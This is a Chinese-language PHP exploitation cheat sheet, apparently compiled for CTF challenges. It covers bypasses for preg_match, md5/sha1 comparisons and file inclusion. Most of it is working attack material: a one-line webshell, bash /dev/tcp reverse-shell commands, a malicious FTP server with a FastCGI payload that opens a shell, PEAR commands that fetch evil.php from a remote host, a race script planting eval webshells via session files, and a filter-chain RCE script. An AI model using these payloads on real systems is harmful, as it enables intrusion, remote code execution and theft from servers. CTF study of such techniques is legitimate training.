常用函数
phpinfo() #PHP配置页
file_get_contents() #获取文件内容
get_defined_vars() #获取所有文件(包括包含的文件)变量的值
变种一句话
PHP
$_GET[a]($_GET[b]);
常用php://filter过滤器
无过滤器
php://filter/resource=
字符串过滤器
php://filter/read=string.rot13/resource=
php://filter/read=string.toupper/resource=
php://filter/read=string.tolower/resource=
php://filter/read=string.string_tags/resource=
转换过滤器
php://filter/read=convert.base64-encode/resource=
php://filter/read=convert.quoted-printable-encode/resource=
常用路径
Nginx
1
2
3
4
5
6日志:
/var/log/nginx/access.log
配置:
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.confApache
1
2
3
4
5
6
7
8
9
10
11日志:
/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
配置:
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf
绕过
关键词
- 函数名、方法名、类名、关键字不区分大小写
<?php Show_source('index.php');?>
- 动态特性
<?php base64_decode('c2hvd19zb3VyY2U=')('index.php');?>
<?php echo ('fil'.'e_get_contents')('/var/www/html/index.php');?>
- 16进制
<?php ("\x70\x68\x70\x69\x6e\x66\x6f")();?>
溢出
32位:-2147483648 ~ 2147483647
64位:-9223372036854775808 ~ 9223372036854775807
本地访问
X-Forwarded-For, X-Client-ip, Client-ip, X-Real-IP
请求方法
查看支持请求方法:OPTIONS
任意文件上传:PUT
intval()
科学计数法
进制转换
十六进制:0x???
二进制:0b???
八进制:0???
is_numeric()
特殊字符
空格、%00、%0a
preg_match()
换行符 %0a(按行匹配类)
preg_match值只匹配第一行,对于
/^xxx$/
类型,在前端或末尾加上%0a即可绕过。命名空间(\)
在PHP的命名空间默认为
\
,所有的函数和类都在\
这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。1
2
3#例
namespace ccc;\eval($_REQUEST['a']);
system('cat /tmp/flag_XXXX'); \符号
分号:
?>
闭合小括号:
?c=include $_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=index.php
?c=require $_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=index.php
数组
preg_match只能处理字符串,当传入的subject是数组时会返回false。
PCRE回溯次数限制
pcre.backtrack_limit
给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false。1
2
3
4
5
6
7
8import requests
url = 'http://x.x.x.x/'
data = {
'code': 'very' * 250000 + 'STRING'
}
r = requests.post(url, data=data)
print(r.text)
in_array()
命名空间(\)
在PHP的命名空间默认为
\
,所有的函数和类都在\
这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。1
2
3#例
namespace ccc;\eval($_REQUEST['a']);
system('cat /tmp/flag_XXXX'); \
$_SERVER[‘QUERY_STRING’]
URL编码
$_SERVER[‘QUERY_STRING’]不会进行URLDecode。
变量覆盖
?_POST[key1]=36d&_POST[key2]=36d
$_REQUEST
POST覆盖
$_REQUEST同时接受GET和POST的数据,并且POST具有更高的优先值,只需要同时GET和POST有相同的参数,在检测时POST的值就会覆盖GET的值从而绕过。
file_get_contents()
使用 php://input 或 data://text/plain,xxx 写文件
文件内容需满足固定字符串,或固定字符串前缀
filter链构造,经过多次base64加密和解密,每次编码删除后面的
=
,扔掉后方的脏数据。参考:
Solving “includer’s revenge” from hxp ctf 2021 without controlling any files
file_put_contents()
攻击php-fpm(未授权访问漏洞)
如果目标主机上正在运行着
PHP-FPM
,并且有一个file_put_contents()
函数的参数是可控的,可以使用FTP
协议的被动模式:客户端试图从FTP
服务器上读取/写入一个文件,服务器会通知客户端将文件的内容读取到一个指定的IP
和端口上,我们可以指定到127.0.0.1:9000
,这样就可以向目标主机的PHP-FPM
发送一个任意的数据包,从而执行代码,造成SSRF
。file_put_contents($_GET['file'], $_GET['data']);
先用
gopherus
生成一个反弹shell
的payload
,截取_
后面的部分/var/www/html/index.php
bash -c "bash -i >& /dev/tcp/[IP]/[Port] 0>&1"
关于
FTP
的返回码,我们看到227
:Entering Passive Mode <h1,h2,h3,h4,p1,p2> 进入被动模式(h1,h2,h3,h4,p1,p2)
我们可以用来进入被动模式,
h
和p
分别为地址和端口,搭建一个恶意的ftp
服务器:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 123))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
conn.send(b'331 Please specify the password.\n')
conn.send(b'230 Login successful.\n')
conn.send(b'200 Switching to Binary mode.\n')
conn.send(b'550 Could not get the file size.\n')
conn.send(b'150 ok\n')
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
conn.send(b'221 Goodbye.\n')
conn.close()启动服务器之后再监听反弹的端口:
http://ip:8080/ftp.php?file=ftp://@ip:123/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0F%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F!SCRIPT_FILENAME/usr/share/nginx/html/phpinfo.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system(%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/ip/1234%200%3E%261%22%27)%3Bdie(%27-----Made-by-SpyD3r-----%0A%27)%3B%3F%3E%00%00%00%00
array绕过关键字
file_put_contents的data参数可以是个array,可以通过构造特别的get请求来发送一个data的array来绕过。
file_put_contents(file,data,mode,context)
file: 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data: 可选。规定要写入文件的数据。可以是字符串、数组或数据流。
1 | for i in range(len(s)): |
sha1()比较
以数组为参数
sha1()函数无法处理数组类型,将报错并返回false。
特殊情况汇总
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e369777862785179849592603940242810147290e1290633704: 0e19985187802402577070739524195726831799
比较缺陷利用(限===强类型情况)
两组经过url编码后的值:
1
2a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1文件碰撞
md5()比较
比较缺陷利用(限==弱类型情况)
QNKCDZO - 0e830400451993494058024219903391
PJNPDWY: 0e291529052894702774557631701704
NWWKITQ: 0e763082070976038347657360817689
NOOPCJF: 0e818888003657176127862245791911
MMHUWUV: 0e701732711630150438129209816536
MAUXXQC: 0e478478466848439040434801845361
IHKFRNS: 0e256160682445802696926137988570
GZECLQZ: 0e537612333747236407713628225676
GGHMVOE: 0e362766013028313274586933780773
GEGHBXL: 0e248776895502908863709684713578
EEIZDOI: 0e782601363539291779881938479162
DYAXWCA: 0e424759758842488633464374063001
DQWRASX: 0e742373665639232907775599582643
BRTKUJZ: 00e57640477961333848717747276704
ABJIHVY: 0e755264355178451322893275696586240610708 - 0e462097431906509019562988736854
s878926199a - 0e545993274517709034328855841020
s155964671a - 0e342768416822451524974117254469
s214587387a - 0e848240448830537924465865611904
s878926199a - 0e545993274517709034328855841020
s1091221200a - 0e940624217856561557816327384675aaaXXAYW: 0e540853622400160407992788832284
aabg7XSs: 0e087386482136013740957780965295
aabC9RqS: 0e0410225181657280653443495362990e215962017 - 0e291242476940776845150308577824
比较缺陷利用(限===强类型情况)
工具:fastcoll
两组经过url编码后的值:
1
2
3a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2文件碰撞
以数组为参数
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
NaN 和 INF
NAN
和INF
,分别为非数字和无穷大,但是var_dump一下它们的数据类型却是double,那么在md5函数处理它们的时候,是将其直接转换为字符串”NAN”和字符串”INF”使用的,但是它们拥有特殊的性质,它们与任何数据类型(除了true)做强类型或弱类型比较均为false,甚至NAN===NAN
都是false,但md5('NaN')===md5('NaN')
为true。md5(string,raw)
md5(string,raw)
string 必需。规定要计算的字符串。
raw 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式;FALSE - 默认,32 字符十六进制数。ffifdyop
,经过md5函数后结果为'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
;129581926211651571912466741651878684928
,经过md5函数后结果为\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
;
create_function()
代码注入
源码
$func('',$arg)
:$func='create_function';
$arg='2;}phpinfo();//'
或$arg='2;}require(base64_decode(xxx));var_dump(get_defined_vars());//
返回值:匿名函数
$func = create_function("","die('end.');");
创建一个
$func
的匿名函数,函数的作用是输出字符串。匿名函数有真正的名字,为
%00lambda_%d
(%d格式化为当前进程的第n个匿名函数,n的范围0-999)
call_user_func()
调用类静态方法
call_user_func('Func::_One','one')
call_user_func(['Func','_One'])
参考:https://cloud.tencent.com/developer/article/1411010
call_user_func(Closure::fromCallable,[Closure,fromCallable])('system')('whoami')
PHP 7.4
Closure::fromCallable 使用当前范围从给定的 callback 创建并返回一个新的匿名函数。此方法检查 callback 函数在作用域是否可调用, 如果不能,就抛出 TypeError 。
数组作为参数二次调用出 Closure::fromCallable 然后 Closure 加载后面第一个参数 system 形成回调函数然后加载第二个参数变成 system 的参数。
escapeshellarg()
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符。
- 不可见字符插入(%80-%ff)
escapeshellcmd()
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义;反斜线(
\
)会在以下字符之前插入:&#;`|*?~<>^()[]{}$, \x0A, \xFF
;'
和"
仅在不配对儿的时候被转义;在 Windows 平台上,所有这些字符以及%
和!
字符都会被空格代替。
escapeshellarg()+escapeshellcmd() 配对:
ereg() / eregi()
NULL截断漏洞
ereg()函数存在NULL截断漏洞,可以%00截断,遇到%00则默认为字符串的结束,所以可以绕过一些正则表达式的检查。
ereg()只能处理字符串的,遇到数组做参数返回NULL。
strpos()
以数组为参数
strpos()函数如果传入数组,便会返回NULL。
二次编码绕关键字
strcmp()
函数缺陷
strcmp()
函数比较两个字符串(区分大小写),定义中是比较字符串类型的,但如果输入其他类型这个函数将发生错误,在官方文档的说明中说到在php 5.2
版本之前,利用strcmp
函数将数组与字符串进行比较会返回-1
,但是从5.3
开始,会返回0
。
add_slashes()
${phpinfo()}
preg_replace()
代码执行(限/e模式)
preg_replace
(PHP 5.5)
功能 : 函数执行一个正则表达式的搜索和替换
定义 :mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject )
搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换$pattern
存在 /e 模式修正符,允许代码执行
/e 模式修正符,是 preg_replace() 将$replacement
当做php代码来执行
filter_var()
FILTER_VALIDATE_EMAIL
形式:
local-part@domain-part
- 邮箱local-part部分可以用双引号包裹,双引号内即可填入任意字符,如
"Joe'Blow"@example.com
- 邮箱local-part部分可以用双引号包裹,双引号内即可填入任意字符,如
FILTER_VALIDATE_URL
0://www.baidu.com;
is_file() / file_exists()
超过20次软链接后可以绕过:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
require_once()
包含的软连接层数较多时,hash匹配会直接失效造成重复包含,同
is_file()
include()
日志包含
URL:
?x=/var/log/nginx/access.log
修改
User-Agent
为<?php highlight_file('xxx.php'); ?>
有后缀绕过
?c=data:text/plain,<?php system('ls')?>
?c=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4
?c=data:,<?php system('ls')?>
file协议包含
file:///etc/passwd
file://localhost/etc/passwd
zip/phar协议包含(有特定后缀)
这个方法适用于验证包含文件为特定后缀时。
zip
首先新建一个zip文件,里面压缩着一个php脚本。
然后构造
zip://php.zip#php.jpg
:http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg
phar (PHP版本>5.3.0)
首先要用phar类打包一个phar标准包:
1
2
3
4
$p = new PharData(dirname(__FILE__).'./test.zip', 0,'test',Phar::ZIP);
$p->addFromString('test.txt', '<?php phpinfo();?>');
会生成一个zip的压缩文件。然后构造
http://127.0.0.1/file.php?file=phar://php.zip/php.jpg
利用session.upload_progress
可以利用
session.upload_progress
将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。如果
session.auto_start=On
,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。session有一个默认选项,
session.use_strict_mode
默认值为0
。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO
,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO
。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值由ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值
组成,最后被写入sess_文件里。默认配置
session.upload_progress.cleanup = on
导致文件上传后,session文件内容立即清空,此时我们可以利用竞争,在session文件内容清空前进行包含利用。参考:https://www.freebuf.com/vuls/202819.html
常见PHP-Session存放位置
1
2
3
4
5/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28#coding=utf-8
import io
import requests
import threading
sessid = 'Q'
data = {"cmd":"system('cat fl0g.php');"}
url = 'http://6bad481c-1da6-4a89-92f6-db28a56e4f28.chall.ctf.show/index.php'
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('q.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post(url+'?file=/tmp/sess_'+sessid,data=data)
if 'q.txt' in resp.text:
print(resp.text)
event.clear()
else:
#print("[+++++++++++++]retry")
pass
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()利用PEAR (开启register_argc_argv)
可能路径:
1
2/usr/local/lib/php/pearcmd.php
/usr/share/pear/pearcmd.phpPEAR是可重用的PHP组件框架和系统分发,会随PHP安装时自动安装。
?file=/usr/local/lib/php/pearcmd.php&+download+http://vps/eval.php
?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/eval.php+-d+man_dir=<?eval($_POST[0]);?>+-s+ HTTP/1.1
(Burpsuite防浏览器转码)?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://ip/evil.php
(路径:/tmp/pear/download/evil.php
)?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[0]);?>+/tmp/hello.php
(路径:/tmp/hello.php
)1
2
3
4
5
6
7
header('Content-Disposition: attachment; filename="shell.php"');
echo <<<EOF
<?php
system(\$_GET[0]);
?>
EOF;?file=/tmp/pear/download/shell.php&0=/readflag
PHPFilterChain RCE
参考:
hxp CTF 2021 - The End Of LFI?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56import requests
url = ""
file_to_use = "/var/hint"
command = "id"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"file": final_payload
})
print(r.text)CNEXT exploits
CVE-2024-2961:将phpfilter任意文件读取提升为远程代码执行
参考:
【翻译】从设置字符集到RCE:利用 GLIBC 攻击 PHP 引擎(篇一)
原作者给出的exp:
https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py
die() / exit()
参考:https://www.anquanke.com/post/id/202510
过滤关键词
urlencode
过滤
%25
二次编码:
a:%6%31 b:%6%32 i:%6%39 q:%7%31 r:%7%32 u:%7%35 U:%5%35
allow_url_include=Off
file_get_contents 允许使用 data URI,会直接返回后面的内容,很奇怪的是,在 allow_url_include=Off 的情况下,不允许 require_once data URI 的,但是如果
data:,XXX
是一个目录名的话,就会放开限制。1
2
3
4
5
6
7
8$ php -a
Interactive mode enabled
php > echo file_get_contents('data:,123456/ricky');
123456/ricky
php > echo require_once('data:,123456/ricky');
flag{xxxxxxxxxx}
php >
open()
PHP原生类:ZipArchive::open($filename,$flags)
调用可删除文件:ZipArchive::open('xxx',ZipArchive::OVERWRITE)
=ZipArchive::open('xxx',8)
parse_url()
URL 格式:
scheme://user:password@address:port/path?query#fragment
参考:https://www.cnblogs.com/tr1ple/p/11137159.html
//绕过
把//认为是相对路径(PHP<5.4.7)。
如果是//,则被解析成host,后面的内容如果有/,被解析出path,而不是query了。
///绕过
三个斜杠导致严重不合格的URL,parse_url() 返回FALSE。
basename()
返回路径中的文件名部分,会去掉文件名开头的非ASCII值。
var_dump(basename("\xffconfig.php")); => config.php
var_dump(basename("config.php\xff")); => config.php
spl_autoload_register()
PHP框架中有自动加载机制,autoload机制可以使得PHP程序有可能在使用类时才自动包含类文件,而不是一开始就将所有的类文件include进来,这种机制也称为lazy loading。
autoload大致可以使用两种方法:__autoload
和 spl
方法。
spl的autoload系列函数使用一个autoload调用堆栈,可以使用 spl_autoload_register
注册多个自定义的autoload函数。
spl_autoload_register()
如果不指定参数,就会自动包含 类名.php
或 类名.inc
的文件,并加载其中的“类名”类。
a. 上传webshell,后缀为 .inc
,被重命名为 xxxx.inc
;
b. 序列化一个类名为 xxxx
的类对象;
c. 将序列化以后的字符串作为cookie,发送到服务器上;
d. 服务器反序列化这个字符串后,将会自动加载 xxxx
类,由于之前 spl_autoload_register
函数注册的方法,会自动加载 xxxx.inc
,从而造成文件包含漏洞。
1 |
|
当 spl_autoload_register
的参数不为空时,new一个类 ls
,如果该 ls
类未定义,程序会寻找system
函数,并将 ls
作为参数,执行 system
函数,即执行了 system('ls');
。
当 spl_autoload_register
的参数为空时。然后new一个xxx类,如果该xxx类未定义,程序会在
工作空间中寻找 xxx.php
或 xxx.inc
,并将其包含。
putenv()+system()
envs[BASH_FUNC_echo%25%25]=()%20{%20id;%20}
ini_set()
ini_set($name,$value);
=> name=error_log&value=/var/www/html/out.php
mb_strpos()+mb_substr()
利用mb_strpos与mb_substr这两个函数对某些不可见字符的解析差异导致的,可以利用特殊的不可见字符实现反序列化字符串逃逸。
当以 \xf0
开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xf0
开头的字节序列用于编码较大的 Unicode 字符。
每发送一个
%f0abc
,mb_strpos()
认为是4个字节,mb_substr()
认为是1个字节,相差3个字节(向后移动3位);每发送一个
%f0%9fab
,mb_strpos()
认为是3个字节,mb_substr()
认为是1个字节,相差2个字节(向后移动2位);每发送一个
%f0%9f%9fa
,mb_strpos()
认为是2个字节,mb_substr()
认为是1个字节,相差1个字节(向后移动1位);- 每发送一个
%9f
,`mb_strpos()
会忽略,mb_substr()
认为是1个字节,相差1个字节(向前移动1位)。
结论:mb_strpos()
相对于 mb_substr()
来说,可以把索引值向后移动。
参考:
https://www.sonarsource.com/blog/joomla-multiple-xss-vulnerabilities/
https://www.cnblogs.com/gxngxngxn/p/18187578 逃跑大师
move_uploaded_file()
当move_uploaded_file函数参数可控时,可以尝试 /.
绕过,因为该函数会忽略掉文件末尾的 /.
,所以可以构造 save_path=1.php/.
,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的 /.
可以实现保存文件为 .php
。
参数特性
参数中的
+
、[
、空格、.
均会变为_
参数形式
A_B.C
:使用A[B.C
传入
无字母/数字/特定符号RCE
取反(
~
)phpinfo()
→(~%8F%97%8F%96%91%99%90)()
system('ls')
→(~%8C%86%8C%8B%9A%92)(~%93%8C)
异或(
^
)phpinfo()
→$_GET[x]&x=phpinfo
→${%A0%A0%A0%A0^%FF%E7%E5%F4}{x}();&x=phpinfo
system('ls')
→$_GET[x]($_GET[y])&x=system&y=ls
→${%A0%A0%A0%A0^%FF%E7%E5%F4}{x}(${%A0%A0%A0%A0^%FF%E7%E5%F4}{y});&x=system&y=ls
无字母情形:
phpinfo()
→('484880800'^'8.8-**)00'^'|~||||~()')
system('ls')
→('404008008400'^'9598))08*980'^'~|~|||(*~~*)')
或(
|
)可以直接将需要构造的字符串与反引号进行异或,得到的结果再与反引号相或即可得到原字符串。
1
2
3
echo "````````"^"readfile";
echo "````"^"flag";payload例:(
readfile("/flag")
)$code = "('````````'|' ')('/````'|'/ '));//";
参考:
https://blog.csdn.net/miuzzx/article/details/108569080
https://blog.csdn.net/miuzzx/article/details/109143413
构造:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/* author yu22x */
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")" #双引号可换单引号
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)++
运算自增构造1
2
3
4
5
6
7
8
9
10
11
12
13
14
$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);
//Payload:
